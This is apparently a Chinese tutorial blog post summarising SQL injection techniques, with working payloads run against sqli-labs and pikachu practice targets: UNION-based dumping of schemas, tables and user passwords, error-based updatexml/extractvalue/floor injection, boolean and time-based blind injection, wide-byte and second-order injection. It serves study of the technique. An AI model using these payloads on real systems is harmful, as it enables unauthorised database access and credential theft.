SQL注入攻击总结

一、什么是SQL 注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。个人理解就是程序员写程序的时候,前端输入的数据没有做限制,导致黑客可以通过改变前端输入的变量从而改变sql语句获取数据库机密信息

二、判断是否存在注入点(涉及靶场:pikachusqliabs

1、and 判断方法

http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=1--+

?id=1 and 1=1页面正常

http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=2--+

?id=1 and 1=2,页面错误

2.or 判断方法

http://192.168.1.6:8080/sqli/Less-2/?id=-1 or 1=2--+

?id=-1 or 1=2,页面错误

http://192.168.1.6:8080/sqli/Less-2/?id=1 or 1=2--+

?id=1 or 1=2,页面正常

三、注入分类

1. 数字型注入

2. 字符型注入

 

3. 搜索型(like)注入

4. 其他型注入

1?Id=1) and 1=1 --+

2?id=1) and 1=1 --+

3?id=1) and 1=1 --+

四、提交方式注入

1. GET 提交

参数在地址栏提交

2. POST 提交

参数在请求体提交

3. Cookie提交

各种语言获取Cookie方式:

Asp:request.cookie()request()

Php:$_COOKIE(),$_REQUEST

JAVA:request.getCookies()

 

五、注入攻击方式

1. UNION 注入

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(union oder by经常连用 ),一般先使用order by 爆破数据库字段数。

先猜4个字段,报错

   再3个字段,页面正常,显示存在三个字段

union查询,http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,2,3--+,让id=-1报错,union后面语句爆出的数字能显示数据库信息

http://192.168.1.6:8080/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(version(),user()),database()--+爆出数据库相关信息

MySQL为例,MySQL 5.0以上自带一个information_schema库,里面存储你新建的数据库的库名、表名、列名。通过巧妙的利用这个库,我们能获取到数据库里面的相关信息。(group_concat()函数可以将要查询的字段拼接成字符串)

获取当前用户下的所有数据库名:http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

pikachu数据库为例,我们获取它的所有表名:

http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'--+

users表为例,我们获取它的列名:

http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=%22users%22--+

  通过用户名和密码获取相关信息:

http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,username,password from users where id=2--+

2. 函数报错注入和insertupdatedelete注入

有时候使用unionorder by进行sql注入时,数据不能回显到前端页面(前提是后台代码没有屏蔽sql的报错),insertupdatedelete可以和updatexml()extractvalue()floor()配合进行报错注入。

1updatexml (XML_document, XPath_string, new_value); 
    第一个参数:XML_documentString格式,为XML文档对象的名称,文中为Doc 
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
    第三个参数:new_valueString格式,替换查找到的符合条件的数据 

concat:返回结果为连接参数产生的字符串。

注入语句:?id=1 and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)--+

2extractvalue(XML_document, XPath_string); 
    第一个参数:XML_documentString格式,为XML文档对象的名称,文中为Doc 
    第二个参数:XPath_string (Xpath格式的字符串)
    concat:返回结果为连接参数产生的字符串。

注入语句:?id=1 and extractvalue(null,concat(0x7e,(select @@datadir),0x7e))--+

(3)Floor(rand(0)*2)

   注入语句:?Id=1 union select count(*) from table_name group by floor(rand(0)*2);

   解释:floor(rand(0)*2)的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和group by的虚拟表,最终引起了报错。

 参考来源:https://www.cnblogs.com/sfriend/p/11365999.html

 

Insertsql插入语句,updateupdate更新语句,deletesql删除语句。这是三个语句可以结合updatexml()extractvalue()floor(rand(0)*2)这三个报错函数使用。

可以通过burp抓包,构造payload

格式如下:(updatexml()可以替换extractvalue())

a or updatexml(1,(concat(0x7e,(命令)),0) or

显示表名

  a' or updatexml(1,(concat(0x7e,(select table_name from information.schema.tables where table_schema=pikachu limit 0,1)),0) or

显示列名

  a' or updatexml(1,(concat(0x7e,(select column_name from information.schema.columns where table_name=users limit 2,1)),0) or

显示字段名

  a' or updatexml(1,(concat(0x7e,(select username,password from users limit 0,1)),0) or

 

3. 盲注

条件:前端无法显示报错信息,页面错误跳转到同一个页面和404页面

盲注经常需要几个函数的配合使用:

ascii() 函数:返回ascii码中对应的值

length()函数:返回字符串的长度

left(str,num)函数 : 从左截取指定字符串

substr(str,pos,num) 函数:截取指定位置指定长度的字符串

mid(str,pos,num) 函数 :截取指定位置指定长度的字符串

If(expr1,expr2,expr3)函数:expr1成立,执行expr2expr1不成立,执行expr3

sleep()函数:执行select sleep(N)可以让此语句运行N秒钟

 

(1)基于布尔型注入

有些查询是不返回结果的,如果要判断查询语句是否正确执行,可以查看函数执行返回的布尔值,正常显示为true1),报错或是其他不正常显示为false0)。

例如:ascii(substr((select table_name information_schema.tables where tables_schema

=database()limit 0,1),1,1))=101 --+

# 这查询语句解释: 从 information_schema.tables 中查询当前数据库中第一个表的表名的第一位字符串是否 e(注ascii(e)ascii码刚好是101),正确返回布尔值1或正常页面,错误返回布尔值0或者返回错误页面。

(2)基于时间型注入—延时注入

对于不能返回结果的,可以使用if函数和sleep()函数的配合,如果是执行成功的就延时一定时间再返回信息,如果不能执行成功就立即返回信息。

例如:If(ascii(substr(database(),1,1))=115,sleep(5),null)--+

#语句解释:获取数据库名称的第一位字符串的ascii码是否115,如果是就延时5秒,不是就不做任何操作。

 

  小结:布尔盲注和时间盲注主要考验一些函数的配合使用并且构造相应payload。手工一位一位的获取字符串是费劲。在知道原理前提下我们可以通过使用一些工具来辅助(burp suit ,sqlmap等)。

  参考来源:https://www.cnblogs.com/startingpoint-fly/p/11158011.html

              https://zhuanlan.zhihu.com/p/87374920

 

4. 宽字节注入和二次注入

php.ini 文件中有个magic_quotes_gpc是用来设置GPC($_GET$_POST$_COOKIE)的魔术引用状态(PHP4中也包含$_ENV)。当开启时,所有的单引号,双引号,反斜线和NUL's会被反斜线自动转义。(php高版本放弃这种方式,php5版本存在此方法)

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。在过滤 的时候,利用的思路是将 转换为

 

如果遇到magic_quotes_gpc开启,我可以通过宽字节注入和二次注入的方式来突破魔术方法的干扰。

(1)宽字节注入(在单引号前面加个%df【注: url编码是%27】)

当构造payload时我们把单号替换为%df%27,首先经过上面提到的单引号转义变成了%df%5c%27%5c是反斜杠),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了宽字符,即%df%5c%27 = 。这样我们就可以绕过magic_quotes_gpc的干扰了。

(2)二次注入

使用条件:

1.用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_stringmysql_real_escape_string转义)

2.数据库对自己存储的数据非常放心,直接取出恶意数据给用户

 

参考来源:https://www.jianshu.com/p/3fe7904683ac

 

注:本文章仅供学习参考。

原文地址:https://www.cnblogs.com/xingyuyu/p/15346489.html